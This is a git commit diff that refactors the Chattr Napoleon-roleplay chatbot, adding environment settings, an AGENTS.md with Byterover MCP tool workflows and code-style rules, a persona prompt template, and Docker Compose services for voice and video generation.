Refactor application structure to use Agno

.envrc

@@ -0,0 +1,6 @@
+export MODEL__URL=${MODEL__URL:-https://generativelanguage.googleapis.com/v1beta/openai}
+export MODEL__NAME=${MODEL__NAME:-gemini-2.5-flash}
+export MODEL__API_KEY=${GOOGLE_API_KEY}
+export VECTOR_DATABASE__URL=http://localhost:6333
+export VECTOR_DATABASE__NAME=main
+export CHARACTER__NAME=Napoleon

.gitattributes

@@ -0,0 +1 @@
+* text=auto eol=lf

.gitignore

@@ -8,13 +8,4 @@ results/
 qdrant_storage/
 assets/audio/
 assets/video/
-
-# Devenv
-.devenv*
-devenv.local.nix
-
-# direnv
-.direnv
-
-# pre-commit
-.pre-commit-config.yaml
+agno/

AGENTS.md

@@ -0,0 +1,133 @@
+# Agent Guidelines for Chattr
+
+[byterover-mcp]
+
+## Byterover MCP Server Tools Reference
+
+There are two main workflows with Byterover tools and recommended tool call strategies that you **MUST** follow precisely.
+
+### Onboarding workflow
+
+If users particularly ask you to start the onboarding process, you **MUST STRICTLY** follow these steps.
+
+1. **ALWAYS USE** **byterover-check-handbook-existence** first to check if the byterover handbook already exists. If not, You **MUST** call **byterover-create-handbook** to create the byterover handbook.
+2. If the byterover handbook already exists, first you **MUST** USE **byterover-check-handbook-sync** to analyze the gap between the current codebase and the existing byterover handbook.
+3. Then **IMMEDIATELY USE** **byterover-update-handbook** to update these changes to the byterover handbook.
+4. During the onboarding, you **MUST** use **byterover-list-modules** **FIRST** to get the available modules, and then **byterover-store-modules** and **byterover-update-modules** if there are new modules or changes to existing modules in the project.
+
+### Planning workflow
+
+Based on user request, you **MUST** follow these sequences of tool calls
+
+1. If asked to continue an unfinished implementation, **CALL** **byterover-retrieve-active-plans** to find the most relevant active plan.
+2. **CRITICAL PLAN PERSISTENCE RULE**: Once a user approves a plan, you **MUST IMMEDIATELY CALL** **byterover-save-implementation-plan** to save it.
+3. Throughout the plan, you **MUST** run **byterover-retrieve-knowledge** several times to retrieve sufficient knowledge and context for the plan's tasks.
+4. In addition, you might need to run **byterover-search-modules** and **byterover-update-modules** if the tasks require or update knowledge about certain modules. However, **byterover-retrieve-knowledge** should **ALWAYS** be considered **FIRST**.
+5. **MUST** use **byterover-update-plan-progress** to mark tasks (and then the whole plan) as completed.
+   Example:
+
+- Task: `byterover-update-plan-progress(plan_name="Feature X", task_name="Task 1", is_completed=true)`
+- All done: `byterover-update-plan-progress(plan_name="Feature X", is_completed=true)`
+
+6. Then, you might call **byterover-store-knowledge** to save knowledge and experience implemented throughout the plan or in important tasks.
+7. During the plan's implementation, you **MUST** frequently call **byterover-think-about-collected-information** and **byterover-assess-context-completeness** to make sure you're on the right track and gather sufficient context for the tasks.
+
+### Recommended Workflow Sequence
+
+1. **MOST IMPORTANT**: **ALWAYS USE** **byterover-retrieve-knowledge** once or several times for **EACH TASK** of the plan to gather necessary context to complete that task.
+2. **MOST IMPORTANT**: **ALWAYS USE** **byterover-store-knowledge** once or several times to store critical knowledge and context for future implementations
+3. Over 15 provided tools, **byterover-retrieve-knowledge** and **byterover-store-knowledge** ARE the two main tools, which **MUST** be used regularly. You can use these two main tools outside the two main workflows for retrieval and storage purposes.
+4. You **MUST** include phrases like **"According to Byterover memory layer"**, **"Based on memory extracted from Byterover"**, **"From Byterover memory tools"**, ... to explicitly showcase that these sources are from **Byterover**.
+5. **Implementation & Progress Tracking** → Execute implementation following saved plan → Mark tasks complete as you go → Mark entire plan done when all tasks finished.
+6. You **MUST** use **byterover-update-module** **IMMEDIATELY** on changes to the module's purposes, technical details, or critical insights that essential for future implementations.
+
+## Build/Lint/Test Commands
+
+### Installation
+
+```bash
+uv sync  # Install dependencies
+```
+
+### Building
+
+```bash
+uv build  # Build source and wheel distributions
+```
+
+### Linting & Formatting
+
+```bash
+trunk fmt --all --no-progress  # Auto-format code
+trunk check  # Run all linters and checks
+```
+
+### Testing
+
+```bash
+pytest  # Run all tests
+pytest tests/test_app.py::test_app  # Run single test
+```
+
+## Code Style Guidelines
+
+### General
+
+- **Line length**: 88 characters
+- **Indentation**: 4 spaces
+- **Quote style**: Double quotes (`"`)
+- **File encoding**: UTF-8
+
+### Imports
+
+- Use `from __future__ import annotations` when needed
+- Group imports: standard library, third-party, local
+- Use `TYPE_CHECKING` for conditional imports
+- Combine as imports: `from typing import Dict, List` → `from typing import Dict, List`
+
+### Type Hints
+
+- Use type hints for all function parameters and return values
+- Use `Self` for methods returning the same class instance
+- Use `Sequence`, `list`, `dict` instead of bare generics
+- Use `Path` from `pathlib` for file paths
+
+### Naming Conventions
+
+- **Functions/Methods**: `snake_case`
+- **Variables**: `snake_case`
+- **Classes**: `PascalCase`
+- **Constants**: `UPPER_CASE`
+- **Private attributes**: `_leading_underscore`
+
+### Error Handling
+
+- Use specific exception types (e.g., `OSError`, `ValueError`, `ValidationError`)
+- Log errors with appropriate levels (`logger.error`, `logger.warning`)
+- Raise `Error` from gradio for user-facing errors
+- Use try/except blocks with meaningful error messages
+
+### Async/Await
+
+- Use `async def` for coroutines
+- Use `await` for async operations
+- Return `AsyncGenerator` for streaming responses
+
+### Documentation
+
+- Use docstrings for all public functions, classes, and modules
+- Follow Google-style docstring format
+- Document parameters, return values, and exceptions
+
+### Logging
+
+- Import logger from module settings
+- Use appropriate log levels: `debug`, `info`, `warning`, `error`
+- Include relevant context in log messages
+
+### Testing Guidelines
+
+- Use `pytest` framework
+- Test functions named `test_*`
+- Use descriptive assertions
+- Mock external dependencies when needed

Dockerfile

@@ -1,12 +1,15 @@
 FROM cgr.dev/chainguard/wolfi-base:latest@sha256:3e3a125c18346ee7b95980be96529d39eb9f799e140aab2b02218a1bd67bfb18 AS builder
 
-COPY --from=ghcr.io/astral-sh/uv:latest@sha256:9874eb7afe5ca16c363fe80b294fe700e460df29a55532bbfea234a0f12eddb1 \
-     /uv /uvx /usr/bin/
+ARG INSTALL_SOURCE
+ARG PYTHON_VERSION
+
+# skipcq: DOK-DL3018
+RUN apk add --no-cache build-base git uv
 
 USER nonroot
 
 RUN --mount=type=cache,target=/root/.cache/uv \
-    uv tool install chattr
+    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}
 
 FROM cgr.dev/chainguard/wolfi-base:latest@sha256:3e3a125c18346ee7b95980be96529d39eb9f799e140aab2b02218a1bd67bfb18 AS production
 

assets/prompts/template.poml

@@ -0,0 +1,30 @@
+<poml syntax="markdown">
+  <role speaker="system">
+    You are a helpful assistant who can act and mimic {{character}}'s character and answer questions about the era.
+  </role>
+  <task speaker="system">
+    Always respond to the user's query by first generating your text answer, then using an MCP to generate audio from that text, and finally using an MCP to create a video from that audio.
+    <br />
+    <b>Crucially, your final output MUST include the generated text response, followed by the tool call for the video creation.</b>
+    <list>
+    <item><b>Personality:</b> Adopt the voice, tone, and perspective of {{character}}.</item>
+    <item><b>Knowledge:</b> Answer questions about the {{character}} era, military campaigns, and French history relevant to his life.</item>
+    </list>
+    <stepwise-instructions>
+      <list>
+        <item>Understand the user's question and context.</item>
+        <item>Gather relevant information and resources.</item>
+        <item>Formulate a clear and concise response in {{character}}'s voice.</item>
+        <item><b>ALWAYS</b> generate audio from the formulated response using the appropriate MCP.</item>
+        <item><b>ALWAYS</b> create a video file from the generated audio using the appropriate MCP.</item>
+      </list>
+    </stepwise-instructions>
+  </task>
+  <output-format>
+   Your response structure MUST be:
+     <list>
+    <item><b>[{{character}}'s Text Response]</b></item>
+    <item><b>[Tool Call to generate the video, which implicitly includes the audio generation step]</b></item>
+    </list>
+  </output-format>
+</poml>

compose.yaml

@@ -1,22 +1,25 @@
 name: Chattr
 services:
   chattr:
-    image: ghcr.io/alphaspheredotai/chattr:latest@sha256:a5e93af402616faa006b0add9675e6101708aa94d90ddf35ff133631cfae78fd
+    image: alphaspheredotai/chattr:latest
     ports:
       - "7860:7860"
     volumes:
       - logs:/home/nonroot/logs
       - assets:/home/nonroot/assets
       - fastembed:/home/nonroot/fastembed
+    restart: on-failure:3
     post_start:
       - command: chown -R nonroot:nonroot /home/nonroot
         user: root
+      - command: chmod -R 700 /home/nonroot
+        user: root
     environment:
-      MODEL__URL: https://api.groq.com/openai/v1
-      MODEL__NAME: llama3-70b-8192
+      MODEL__URL: ${MODEL__URL:-https://generativelanguage.googleapis.com/v1beta/openai}
+      MODEL__NAME: ${MODEL__NAME:-gemini-2.5-flash}
       MODEL__API_KEY: ${MODEL__API_KEY}
       VECTOR_DATABASE__URL: http://vector_database:6333
-      VECTOR_DATABASE__NAME: test
+      VECTOR_DATABASE__NAME: main
     healthcheck:
       test:
         - "CMD"
@@ -33,14 +36,91 @@ services:
       retries: 5
       start_period: 40s
   vector_database:
-    image: qdrant/qdrant:latest@sha256:0fb8897412abc81d1c0430a899b9a81eb8328aa634e7242d1bc804c1fe8fe863
+    image: qdrant/qdrant:latest
     ports:
       - "6333:6333"
       - "6334:6334"
     volumes:
       - qdrant_storage:/qdrant/storage
+    restart: on-failure:3
+  voice_generator:
+    image: alphaspheredotai/vocalizr:latest
+    ports:
+      - "7861:7860"
+    post_start:
+      - command: chown -R nonroot:nonroot /home/nonroot
+        user: root
+      - command: chmod -R 700 /home/nonroot
+        user: root
+    volumes:
+      - huggingface:/home/nonroot/hf
+      - results:/home/nonroot/results
+      - logs:/home/nonroot/logs
+    restart: on-failure:3
+    healthcheck:
+      test:
+        - "CMD"
+        - "curl"
+        - "-o"
+        - "/dev/null"
+        - "-f"
+        - "-s"
+        - "-w"
+        - "'Status: %{http_code},\tTime: %{time_total}s'"
+        - "http://localhost:7860/"
+      interval: 1m30s
+      timeout: 10s
+      retries: 5
+      start_period: 40s
+    deploy:
+      resources:
+        reservations:
+          devices:
+            - driver: nvidia
+              count: all
+              capabilities:
+                - gpu
+  video_generator:
+    image: alphaspheredotai/visualizr:latest
+    ports:
+      - "7862:7860"
+    volumes:
+      - assets:/home/nonroot/assets
+      - checkpoint:/home/nonroot/ckpts
+      - gfpgan:/home/nonroot/gfpgan
+    post_start:
+      - command: chown -R nonroot:nonroot /home/nonroot
+        user: root
+      - command: chmod -R 700 /home/nonroot
+        user: root
+    restart: on-failure:3
+    healthcheck:
+      test:
+        - "CMD"
+        - "curl"
+        - "-o"
+        - "/dev/null"
+        - "-f"
+        - "-s"
+        - "-w"
+        - "'Status: %{http_code},\tTime: %{time_total}s'"
+        - "http://localhost:7860/"
+      interval: 1m30s
+      timeout: 10s
+      retries: 5
+      start_period: 40s
+    deploy:
+      resources:
+        reservations:
+          devices:
+            - driver: nvidia
+              count: all
+              capabilities:
+                - gpu
 volumes:
   logs:
   assets:
   fastembed:
   qdrant_storage:
+  checkpoint:
+  gfpgan: